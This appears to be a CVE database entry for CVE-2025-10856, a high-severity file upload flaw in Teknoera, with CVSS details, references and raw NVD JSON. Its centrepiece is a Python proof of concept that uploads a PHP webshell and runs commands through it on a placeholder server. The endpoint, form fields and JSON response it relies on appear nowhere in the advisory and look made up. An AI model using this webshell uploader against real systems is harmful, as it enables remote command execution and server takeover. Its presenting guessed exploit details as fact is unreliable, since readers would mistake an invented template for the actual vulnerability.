CVE-2025-10856

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Solvera Software Services Trade Inc. Teknoera allows File Content Injection.This issue affects Teknoera: through 01102025.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Teknoera through 01102025

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-10856 PoC - Teknoera File Upload Vulnerability
import requests
import sys

target_url = "http://target-server.com/teknoera/upload"

# Malicious PHP webshell content
webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>"

files = {
    'file': ('shell.php', webshell_content, 'application/x-php')
}

data = {
    'user_id': 'attacker_low_privilege_account'
}

try:
    response = requests.post(target_url, files=files, data=data, timeout=10)
    
    if response.status_code == 200:
        # Extract uploaded file path from response
        uploaded_path = response.json().get('file_path', '')
        print(f"[+] File uploaded successfully: {uploaded_path}")
        
        # Execute command via webshell
        if uploaded_path:
            exec_url = f"http://target-server.com{uploaded_path}?cmd=whoami"
            exec_response = requests.get(exec_url)
            print(f"[+] Command output: {exec_response.text}")
except requests.exceptions.RequestException as e:
    print(f"[-] Error: {e}")
    sys.exit(1)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10856
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10856
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10856/
[4] VulDB https://vuldb.com/cve/CVE-2025-10856
[5] https://www.usom.gov.tr/bildirim/tr-26-0003

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-10856", "sourceIdentifier": "[email protected]", "published": "2026-01-22T13:16:04.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Solvera Software Services Trade Inc. Teknoera allows File Content Injection.This issue affects Teknoera: through 01102025."}, {"lang": "es", "value": "Vulnerabilidad de carga irrestricta de archivos de tipo peligroso en Solvera Software Services Trade Inc. Teknoera permite la inyección de contenido de archivo. Este problema afecta a Teknoera: hasta el 01/10/2025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0003", "source": "[email protected]"}]}}